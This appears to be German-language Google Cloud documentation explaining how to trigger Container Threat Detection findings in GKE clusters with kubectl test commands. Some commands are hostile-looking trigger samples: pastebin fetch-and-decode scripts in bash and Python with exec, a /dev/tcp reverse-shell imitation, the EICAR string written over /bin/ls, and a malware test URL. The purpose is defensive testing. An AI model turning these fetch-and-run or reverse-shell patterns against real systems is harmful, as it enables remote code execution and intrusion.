Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierten Dienst der Premium- und Enterprise-Stufe von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.
Hinweis
Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.
Umgebungsvariablen festlegen
Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.
Öffnen Sie die Google Cloud Console.
Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.
Klicken Sie auf Google Cloud Shell aktivieren.
Legen Sie in Cloud Shell Umgebungsvariablen fest:
Die Zone, in der sich der Cluster befindet:
export ZONE=CLUSTER_ZONE
Das Projekt, in dem sich der Container befindet:
export PROJECT=PROJECT_ID
Ihr Clustername:
export CLUSTER_NAME=CLUSTER_NAME
Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.
Ausgeführte Binärdatei hinzugeführt
Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls
an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 18.04 ausgeführt wird und Container unveränderlich sind.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Legen Sie eine Binärdatei ab und führen Sie sie aus:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet.
filtert vorübergehend hinzugefügte binär ausgeführte Ergebnisse. So rufen Sie alle hinzugefügten Binärprogramme auf
Ergebnisse, die während der Einrichtung eines Containers ausgeführt wurden, dem Containernamen voranstellen
oder Pod-Namen durch ktd-test
ersetzen, wie im Beispiel.
Hinzugefügte Mediathek geladen
Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6
an einen anderen Speicherort kopiert und dann mit ld
geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 18.04 befindet und Container unveränderlich sind.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Legen Sie eine Mediathek ab und laden Sie sie mit
ld
:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren von Security Command Center auf Organisationsebene.
Zur Reduzierung von Fehlalarmen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ vorübergehend von Container Threat Detection herausgefiltert. So rufen Sie alle hinzugefügten Mediatheken auf:
Ergebnisse werden geladen, während ein Container eingerichtet wird, Containernamen voranstellen
oder Pod-Namen durch ktd-test
ersetzen, wie im Beispiel.
Ausführung: Ausgeführte schädliche Binärdatei hinzugefügt
Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, legen Sie eine schädliche Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und es sich bei der Binärdatei um eine EICAR-Testdatei handelt, die von der Threat Intelligence als schädlich eingestuft wurde.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet.
filtert vorübergehend Ausführung: Ergebnisse von bösartig ausgeführten Binärdateien wurden hinzugefügt. Um zu sehen,
alle Ausführungen: Ergebnisse von schädlichen Binärdateien wurden hinzugefügt, während ein Container
stellen Sie dem Container- oder Pod-Namen ktd-test
voran, wie im
Beispiel.
Execution: Malicious Python executed
Wenn Sie ein Execution: Malicious Python executed
-Ergebnis auslösen möchten, können Sie Python mithilfe der folgenden Schritte in Ihrem Container ausführen.
Mit der Prozedur wird das neueste Python-Image bereitgestellt und der Python-Code kopiert, der und es dann ausführt. Damit eine Erkennung ausgelöst wird, muss der Python-Code für den Detektor schädlich sein.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Führen Sie das folgende Skript in einem neuen Container aus.
Dieser Python-Code stammt aus einem Honeypot. Sie können jedoch Er wurde geändert, sodass er die schädliche Binärdatei nicht ausführt. Das Ausführen des Skripts hat keine schädlichen Aktivitäten in Ihrem Container. Die Binärdatei unter der referenzierten URL existiert nicht. Es wird versucht, der URL zu folgen, führt zu einem 404-Fehler. Dies ist zu erwarten. Der Versuch, eine Binärdatei mit einem Durch das Inline-Skript wird die Erkennung ausgelöst.
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/python:latest "$tag" \ -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Mit diesem Testverfahren wird ein Execution: Malicious Python executed
-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Anzeigen von Ergebnissen in Cloud Logging ist
nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren
Stufe von Security Command Center.
Ausführung: Modifizierte schädliche Binärdatei ausgeführt
Ändern Sie zum Auslösen eines Ergebnisses vom Typ „Ausführung: Geänderte bösartige Binary Executed“-Datei
in Ihrem Container
und führen sie aus. In diesem Beispiel wird die
neuestes Ubuntu 18.04-Image, ändert /bin/ls
in eine simulierte schädliche Datei und führt diese dann aus.
Die Ausführung des Binärprogramms ist unerwartet, da /bin/ls
während der Containerlaufzeit geändert wird als
eine simulierte schädliche Binärdatei und diese ist ein EICAR
Testdatei, eine Datei, die von Threat Intelligence als schädlich eingestuft wird.
eine EICAR-Testdatei mit schädlichem Code und führt sie dann aus. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls
während der Containerlaufzeit als schädliches EICAR-Test-Binärprogramm geändert wird. Das EICAR-Binärprogramm ist laut Threat Intelligence eine bekannte schädliche Datei.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren Stufe von Security Command Center.
Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test
hinzu.
Schädliches Script ausgeführt
Sie können das Script ausführen, um ein Ergebnis der Ausführung eines schädlichen Scripts auszulösen in Ihrem Container.
Mit dem Verfahren wird das neueste Ubuntu 18.04-Image bereitgestellt und ein Script kopiert, und es dann ausführt. Zum Auslösen einer Erkennung muss das Skript für den Detektor schädlich sein.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Führen Sie das folgende Skript in einem neuen Container aus.
Dieses Inline-Bash-Shell-Skript stammt von einem Honeypot. Sie können jedoch Er wurde so geändert, dass er die schädliche Binärdatei nicht ausführt, sodass das Ausführen des Skripts keine schädlichen Aktivitäten in Ihrem Container verursacht. Die Binärdatei unter der angegebenen URL wurde möglicherweise entfernt und es wird versucht, der URL zu folgen, führt dies zu einem 404-Fehler. Dies ist zu erwarten. Der Versuch, eine Binärdatei mit einem Durch das Inline-Skript wird die Erkennung ausgelöst.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Anzeigen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren Stufe von Security Command Center.
Schädliche URL beobachtet
Wenn Sie ein Ergebnis des Typs „Bösartige URL erkannt“ auslösen möchten, führen Sie ein Binärprogramm aus und geben Sie eine schädliche URL als Argument an.
Im folgenden Beispiel wird ein Ubuntu 18.04-Image bereitgestellt und /bin/curl
ausgeführt, um über den Dienst Safe Browsing auf eine Beispiel-Malware-URL zuzugreifen.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Führen Sie
curl
aus und geben Sie eine schädliche URL als Argument an:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
Mit diesem Testverfahren wird das Ergebnis „Bösartige URL erkannt“ ausgelöst, das Sie in Security Command Center und, sofern Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Wird angezeigt Ergebnisse in Cloud Logging sind nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene.
Reverse Shell
Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin
-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo
nach /tmp/bash
kopiert,
beginnt dann /tmp/bash
mit einer Weiterleitung zum öffentlichen Google-DNS
8.8.8.8
am DNS-Port. Beim Ausführen dieses Beispiels wird nichts ausgegeben. Bis
das Einschleusen externer Codes durch einen Man-in-the-Middle-Angriff (MITM) verhindert,
In diesem Beispiel wird die Binärdatei /bin/bash
nicht verwendet.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Starten Sie eine Binärdatei mit
/bin/echo
-Weiterleitung zu Google Public DNS:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.
Unerwartete untergeordnete Shell
Zum Testen des Unexpected Child Shell
-Detektors können Sie eine Prozessstruktur erstellen, die einen untergeordneten Shell-Prozess enthält.
Im folgenden Beispiel wird ein consul->dash
-Prozessbaum erstellt, der vom Unexpected Child Shell
-Erkennungssystem erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:
- Erstellt eine Kopie des Prozesses
bash
und benennt sieconsul
. - Es kopiert den
echo
-Prozess und nennt ihndash
. - Ruft den kopierten
dash
-Prozess im kopiertenconsul
-Prozess auf.
So lösen Sie eine Unexpected Child Shell
-Ergebnis aus:
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Verwenden Sie den Mock-
consul
-Prozess, um eine Mock-Shell aufzurufen:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \ /tmp/consul -c "/tmp/bash child ran successfully & wait"'
Mit diesem Testverfahren wird ein Ergebnis vom Typ Unexpected Child Shell
erstellt, das Sie in Security Command Center aufrufen können. Wenn das Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging aufrufen.
Nächste Schritte
- Hier erfahren Sie, wie Sie Verwenden Sie Container Threat Detection.